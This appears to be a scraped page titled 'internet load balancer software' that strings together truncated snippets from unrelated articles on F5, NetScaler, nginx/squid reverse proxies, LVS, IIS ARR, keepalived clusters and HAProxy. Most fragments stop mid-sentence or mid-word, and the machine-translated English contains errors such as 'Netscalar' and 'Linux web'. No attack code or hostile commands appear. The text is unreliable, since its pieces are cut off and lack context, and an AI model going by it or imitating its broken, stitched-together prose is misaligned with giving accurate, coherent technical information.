internet load balancer software

Some time recently, we started touching on load balancing, from hardware F5 to Citrix Netscalar. However, because the hardware configuration is not complicated, but the expensive price also makes the general user prohibitive (a hundred thousand of to hundreds of thousands of), so can only turn to nginx,squid this kind has the reverse proxy function software. Fortunately its settings are not very troublesome

In the past, running a large web application meant running a large web server. Because your application attracts a large number of users, you will have to add more memory and processors to your server. Today, the 'large server' model has passed, replacing it with a large number of small servers, using a variety of load balancing technologies. This is a more feasible way to minimize hardware costs. The 'more servers' mode has more advantages than the

I. Introduction of LVSLVS is a short name for Linux virtual server, the Linux web, is a free software project initiated by Dr. Zhangwensong and is now part of the Linux standard kernel. LVS is a TCP/IP-based load balancing technology that has high forwarding efficiency and the ability to process millions of concurrent connection requests.The IP load balancing tec

. NET web uses the IIS Arr (application request route) technology to achieve high web performance, high reliability, scalability, and load balancing. For more information about how to use arr, seeIISServer Load balancer-application request route For general application scenarios, see the following figure. One server only serves as the ARR server and receives requ

The main implementation is a high-availability server Load balancer web server cluster, suitable for lamp architecture. The front end uses two servers as The lvs + keepalived load scheduler. N servers can be used as the apache + php application server in the middle, and the next two servers are used as the mysql high-availability dual-machine, finally, a virtual

that the domain name blog.s135.com is resolved to an extranet/public virtual ip:61.1.1.3 (VS_SQUID) of the F5 load balancer, there is a server pool (POOL_SQUID) under the virtual IP that contains two real squid servers under the pool ( 192.168.1.11 and 192.168.1.12)?②? If the squid cache misses, the F5 intranet virtual ip:192.168.1.3 (Vs_apache) is requested, and there is a default server pool (Pool_apache

Load Balancing is built on the existing network structure, it provides a cheap, effective, and transparent method to expand the bandwidth of network devices and servers, increase throughput, enhance network data processing capabilities, and improve network flexibility and availability. I have recently learned many articles about Server Load balancer technology on

Haproxy provides high availability, Load Balancing and proxies based on TCP and HTTP applications that support Virtual Host , it is a free, fast and reliable solution. Haproxy is especially useful for Web sites that are heavily loaded, and often require session-hold or seven-tier processing.
